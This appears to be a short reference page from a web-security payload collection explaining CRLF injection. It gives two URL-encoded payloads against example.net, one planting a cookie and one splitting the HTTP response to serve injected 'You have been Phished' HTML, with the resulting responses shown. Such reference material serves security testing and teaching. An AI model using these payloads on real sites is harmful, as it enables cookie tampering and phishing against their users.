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CRLF Payload

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# Title
Lorem
# CRLF
The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
## Vuln
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
## CRLF - Add a cookie
Requested page
```
Code
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
```
HTTP Response
```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
```
## CRLF - Write HTML
Requested page
```
http://www.example.net/index.php?lang=en%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
```
HTTP response
```
Set-Cookie:en
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34
<html>You have been Phished</html>```
## Thanks to
* Lorem
* Ipsum
* https://www.owasp.org/index.php/CRLF_Injection

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/!\ Work in Progress : 1%
# PayloadsAllTheThings
A list of every usefull payloads and bypass for Web Application Security